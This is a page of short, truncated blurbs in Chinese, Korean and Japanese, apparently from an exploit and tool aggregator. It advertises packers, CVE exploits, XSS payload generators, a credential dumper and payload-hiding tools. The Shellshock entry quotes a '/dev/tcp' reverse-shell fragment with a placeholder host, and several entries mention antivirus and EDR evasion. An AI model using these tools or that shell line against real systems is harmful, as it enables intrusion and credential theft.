NimSyscallPacker

NimSyscallPacker / Loader 该工具是在 x33fcon 的一次演讲后公开的。它是我 2021 至 2024 年的私人主要编码项目，目前已被视为废弃，不再维护。不要指望我这边提供错误修复或功能更新。取而代之的是，RustPack 现在作为面向经过审查的红队和渗透测试人员的商业受控版本进行维护，它功能更丰富，而且 OPSec 安全性也高得多。 此 Packer 可用于将任何 C Assembly、PE 文件或 Shellcode 打包到 Nim 二进制文件中。它将加密目标载荷，根据给定参数生成相应的 Nim 源代码，并将其编译为 Nim 二进制文件。 设置...

GPON-LOADER

GPON-LOADER GPON 홈 게이트웨이 장치에서 원격 코드 실행 및 페이로드를 위한 익스플로잇 로더 CVE-2018-10562, Python으로 작성됨. 종속성 requests 사용법 root@kitploit: python gpon-loader.py...

CVE-2018-11776-Python-PoC

CVE-2018-11776-Python-PoC hook-s3c github.com/hook-s3c, @hooks3c 트위터에서 CVE-2018-11776을 위한 작동하는 Python 테스트 및 PoC, 원래 다음에서 등장했습니다; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC 무슨 일인가요? Semmle의 Man Yue Mo가 Struts2 RCE 취약점을 발표했습니다. 이 취약점은 요청의 URL 경로에 인코딩된 페이로드로 전달됩니다. 영향을 받는 버전은 2.3부터...

CVE-2014-6271

Hellshocker 0.1.1 Shellshock 취약점 익스플로잇 도구 약한 쉘쇼크 익스플로잇을 사용하거나 단순히 "/bin/bash & /dev/tcp/IP/port 0&1" 로 서버에 침투하는 것에 지치셨나요? 네, 더 복잡한 무언가를 서버에 업로드하고 실행해야 하는데, 대용량 파일을 base64로 인코딩하면 웹 서버가 HTTP 요청을 수락하지 못할 수도 있습니다. 이 도구를 사용하면 문제가 해결될 수 있습니다. 페이로드를 base64로 인코딩하여 기본값 128바이트 크기의 청크로 웹 서버에 보낸 후, 전송이 완료되면...

CVE-2025-24813

CVE-2025-24813 CVE-2025-24813의 간단한 재현 분석을 수행하고, 간단한 익스플로잇 스크립트를 작성했습니다 root@kitploit: usage: CVE-2025-24813.py -h -u URL -d DATA CVE-2025-24813 optional arguments: -h, --help show this help message and exit -u URL, --url URL URL -d DATA, --data DATA base64serialdata 예시 vulhub를 사용하여 취약한 서비스를 시작하고,...

CVE-2018-7600-Drupal-0day-RCE

CVE-2018-7600-Drupal-0day-RCE Drupal 0day リモートPHPコード実行 Perl これはDrupal CMSにおける0day RCEエクスプロイトです。 サーバーにペイロードをアップロードできます。 CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 エクスプロイトの実行方法 : 1-git clone https://github.com/dr-iman/CVE-2018-7600-Drupal-0day-RCE.git 2-ActivePerl...

XSS-LOADER

💎 XSS-LOADER TOOLS 💎 작성자: TMRSWRR 버전 1.0.0 XSS PAYLOAD GENERATOR -XSS SCANNER-XSS DORK FINDER 를 위한 올인원 도구 Instagram: TMRSWRR 📷 스크린샷 📷...

Shortcut-Payload-Generator

Shortcut-Payload-Generator PowerShellを悪用してショートカットペイロードを作成するfud。 そこには素晴らしいトリックがたくさんあります。あなたはそれをより良くすることができます ^^. 例: ダウンロード中にtcpview、タスクマネージャーなどを強制終了します。 ダウンロード後にマルウェアに隠し属性を設定する...など。 G00d by3. ./9aylas EOF...

CVE-2025-31161

CVE-2025-31161 - CrushFTP 사용자 생성 인증 우회 익스플로잇 📌 설명 이 Python 익스플로잇은 CVE-2025-31161 에 취약한 CrushFTP 서버를 대상으로 합니다. 이 취약점은 인증되지 않은 사용자 계정 생성 을 가능하게 하며, WebInterface에 조작된 XML 페이로드를 전송하여 잠재적으로 서버 전체를 장악할 수 있습니다. ⚠️ 면책 조항 이 도구는 교육 및 공인된 보안 테스트 목적으로만 사용해야 합니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 무단으로 사용하는 것은 불법 이...

-CVE-2025-0133-GlobalProtect-XSS

mitsecvpnxssexploit 🔓 GlobalProtect SSL VPN エンドポイント /ssl-vpn/getconfig.esp に細工したXSSペイロードをURLへ追加するエクスプロイトです。 使い方 root@kitploit: python3 exploit.py -u https://target.com パラメータ -u, --url: 対象のベースURL（クエリパラメータは含めない でください） ペイロードプレビュー root@kitploit: prompt"mitsec" 作者 GitHub: ynsmroztas Twitter:...

adobe-flash-cve2018-15982

Adobe Flash CVE-2018-15982 이 스크립트는 CVE-2018-15982를 위한 swf 페이로드를 생성하며, https://github.com/smgorelik/Windows-RCE-exploits의 PoC를 기반으로 합니다. 이 취약점은 Gigamon ATR의 Chenming Xu와 Ed Miles에 의해 발견되었습니다. 이 취약점은 플래시에서 임의 코드 실행을 가능하게 하는 use-after-free 결함입니다. 자세한 내용은 아래 링크에서 확인할 수 있습니다...

SignHere

SignHere はじめに CVE-2017-11882 - Microsoft Office 2007 Service Pack 3、Microsoft Office 2010 Service Pack 2、Microsoft Office 2013 Service Pack 1、Microsoft Office 2016 の一意の脆弱性識別子です。メモリ内のオブジェクトの処理が適切に行われないため、攻撃者が現在のユーザーのコンテキストでコードを実行できるようにする、いわゆる「Microsoft Office メモリ破損の脆弱性」です。 この実装には、悪意のある rtf 文書と...

CVE-2024-53677-S2-067-thread

免責事項 本記事の関連技術を利用して不正なテストを行わないでください。本情報やツールの伝播、使用により生じた直接的または間接的な損害や損失は、すべて利用者本人が負うものとし、生じたいかなる不良結果も記事の作成者とは無関係です。本記事は学習目的のみに使用してください。 CVE-2024-53677-S2-067-thread 検証POC、https://github.com/TAM-K592/CVE-2024-53677-S2-067/ Apache Struts の以下のバージョンが影響を受けます：2.0.0 から 2.5.33、6.0.0 から 6.3.0.2...

Ghost-CMS-Exploit

Ghost-CMS-Exploit Ghost-CMS Exploit은 Python 스크립트입니다. 이 스크립트는 먼저 제공된 워드리스트를 사용하여 무차별 대입 인증 시도를 수행합니다. 유효한 자격 증명이 발견되면 CVE-2024-23724 취약점을 확인하고, 취약한 경우 익스플로잇 페이로드를 생성합니다. 요구 사항: 1. Python 3.x 설치 2. 필수 라이브러리 설치: pip install requests 3. 같은 디렉토리에 boilerplate.svg 파일이 있어야 함 익스플로잇 페이로드 생성에 사용 4. 사용자 이름과...

cPanel-CVE-2023-29489

cPanel CVE-2023-29489 用POC XSS Payload...

chalumeau

Chalumeau Chalumeau는 PowerShell과 Python 기반의 자동화되고 확장 가능하며 사용자 정의 가능한 자격 증명 덤핑 도구입니다. 주요 기능 자신만의 페이로드 작성 메모리 내 실행 비밀번호 목록 추출 대시보드 보고 / 웹 인터페이스 Mimikatz 파싱 티켓 덤핑 스크린샷 알려진 문제 Mimikatz dcsync 파싱 수정 작업 중 바이러스 백신 및 EDR 우회, 페이로드 유지 필요 TODO 암호화된 통신 자동 횡적 이동 자동 비밀번호 스프레이 자동 해시 크래킹 사용법 root@kitploit: git...

DLLHSC

DLLHSC DLL Hijack SCanner - DLL 검색 순서 하이재킹 후보를 자동으로 발견하고 리드를 생성하는 도구 이 페이지의 목차 이 저장소의 내용 작동 모드 컴파일 및 실행 가이드 도움말 메뉴 실행 예시 피드백 이 저장소의 내용 이 저장소에는 도구DLLHSC의 Visual Studio 프로젝트 파일, API 후킹 기능detour의 프로젝트 파일, 페이로드의 프로젝트 파일, 그리고 x86 및 x64 아키텍처용으로 컴파일된 실행 파일이 저장소의 릴리스 섹션에 있음이 포함되어 있습니다. 코드는 Visual Studio...

isms-builder

ISMS Builder 셀프 호스팅 정보보안 경영시스템 — 오픈 소스, 클라우드 불필요 📖 Wiki — Docker 이미지 사용 & 환경 변수, 아키텍처 & 모듈, FAQ, 기여하기 DE/EN ⚠️ 보안 경고: 악성코드를 유포하는 가짜 저장소 및 복제본 ISMS Builder에는 패키징된 "릴리스", 설치 프로그램, 다운로드 가능한 ZIP 파일이 없습니다 — 유일한 정당한 소스는 이 저장소이며, GitHub에서 일반 소스 코드로 직접 복제하거나 다운로드한 것입니다. 이 프로젝트를 사칭하는 최소 하나의 악성 저장소 를 인지하고...

Invoke-PSImage

Invoke-PSImage PowerShell 스크립트를 PNG 파일의 픽셀에 인코딩하고 실행할 원라이너를 생성합니다 Invoke-PSImage는 PowerShell 스크립트를 가져와 해당 스크립트의 바이트를 PNG 이미지의 픽셀로 인코딩합니다. 파일에서 또는 웹에서 실행할 원라이너를 생성합니다. 페이로드 데이터만 사용하여 새 이미지를 생성하거나, 기존 이미지의 최하위 바이트에 페이로드를 삽입하여 실제 사진처럼 보이게 할 수 있습니다. 이미지는 PNG로 저장되며, 데이터가 색상 자체에 저장되므로 무손실 압축이 가능하며 페이로드...

CVE-2021-22204

CVE-2021-22204 CVE-2021-22204 ExifTool 익스플로잇 - 임의 코드 실행 익스플로잇 설명 이 익스플로잇을 사용하여 취약한 ExifTool 버전에서 코드 실행에 사용할 수 있는 JPEG 이미지 페이로드를 생성하십시오. 사용자 지정 명령을 제공하거나 리버스 셸을 생성할 수 있습니다. JPEG 이미지가 자동으로 생성되며, 선택적으로 사용자 지정 JPEG 이미지를 제공하여 페이로드를 삽입할 수 있습니다...